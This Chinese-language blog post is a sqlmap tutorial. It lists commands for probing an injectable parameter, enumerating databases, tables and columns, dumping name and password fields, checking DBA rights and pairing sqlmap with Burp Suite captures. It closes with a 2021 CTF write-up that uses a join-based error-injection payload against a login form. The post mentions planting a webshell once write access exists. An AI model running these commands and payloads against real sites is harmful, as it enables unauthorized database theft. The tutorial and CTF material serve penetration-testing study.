sqlmap的使用与实例

一、sqlmap简介

Sqlmap是开源的自动化SQL注入工具,由Python写成。
sqlmap支持五种不同的注入模式:
1、布尔盲注,即可以根据返回页面判断条件真假的注入。
2、时间盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。
SQL注入参考

二、使用步骤

1、注入

检查注入点

sqlmap -u http://192.168.1.104/sql.php?id=11 --batch

爆所有数据库信息

sqlmap -u http://192.168.1.104/sql.php?id=11 --dbs --batch

爆当前数据库信息

sqlmap -u http://192.168.1.104/sql.php?id=11 --current-db --batch

列出指定数据库所有的表名

sqlmap -u http://192.168.1.104/sql.php?id=11 -D 数据库名 --tables --batch

列出指定表名的所有列名

sqlmap -u http://192.168.1.104/sql.php?id=11 -D 数据库名 -T 表名 --columns --batch

dump打印表名指定列名字段的值数据

sqlmap -u http://192.168.1.104/sql.php?id=11 -D 数据库名 -T 表名 -C name,password --dump --batch

‘name,password’ 为指定字段名称

-r REQUESTFILE 从文件加载HTTP请求,sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)。

请求是 https 时需要配合–force-ssl参数来使用,或者可以在Host头后门加上:443

sqlmap -r request.txt --dbs --batch

-l LOGFILE 从Burp或者WebScarab代理日志文件中分析目标

–schema 枚举数据库架构
–dump-all 转储数据库所有表项

–batch
加batch能自动选择Yes

2、结合BurpSuite

1.post注入

(1)浏览器打开目标地址

(2)配置burp代理(127.0.0.1:8080)以拦截请求

(3)点击登录并提交表单

(4)Burp拦截到登录POST请求

(5)把这个post请求复制为txt, 命名为post.txt 然后放至sqlmap目录下

(6)运行sqlmap并使用如下命令:

sqlmap -r post.txt --dbs

2.用BurpSuite的log文件扫描

(1)记录Proxy的log并选择log路径
在这里插入图片描述
(2)关掉拦截并设置浏览器代理与BurpSuite一致
在这里插入图片描述
(3)对网站发请求
(4)使用sqlmap对log进行测试

sqlmap -l log1.txt --batch

3、用户权限

列出数据库管理系统用户

sqlmap -u http://192.168.1.104/sql.php?id=11 --users

查看当前连接数据库用户

sqlmap -u http://192.168.1.104/sql.php?id=11 --current-user

判断当前用户是否是DBA(数据库管理员)

sqlmap -u http://192.168.1.104/sql.php?id=11 --is-dba

–is-dba 这个命令有时候决定了是否可以在服务器下进行写的操作。
是否有写的权限,代表是否可以在服务器上面写入一句话木马。

–passwords 数据库密码
–proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
–time-sec= TIMESEC DBMS响应的延迟时间(默认为5秒)
–threads= 使用多少线程

三、CTF实例

2021全国大学生信息安全竞赛初赛Easy_sql


根据题目提示为SQL注入
登录界面任意输入admin /admin后Burp抓包
保存文本,post注入

sqlmap -r post.txt --dbs


得到数据库名security

sqlmap -r post.txt dump -D security

得到两个表users和flag


users表中内容为账户密码,flag中为空
任选账户登录出现login,若账户密码错误无回显

使用burp爆破功能,fuzz过滤参数发现无法通过注入代码获得列名

使用 join报错注入,通过已知表名注入

Payload:admin’) and (select *from(select * from flag as a join flag b using(id))c)#

依次爆破后续列名

发现第二列为no
Duplicate column name指重复的列名。
出现Duplicate column name错误,一般是sql语句查询的时候,出现了相同的列名。

修改Payload :admin’) and (select * from(select * from flagas a join flag b using(id,no))c)#

得到第三列名

直接sqlmap获取指定字段即可

sqlmap -r “post.txt” –dump -C “9dcd9b90-2b03-463f-8b0d-9a149aa09807” -T flag -D security

四、sqlmap思维导图

在这里插入图片描述

posted @ 2022-02-06 18:51  Hardworking666  阅读(257)  评论(0编辑  收藏  举报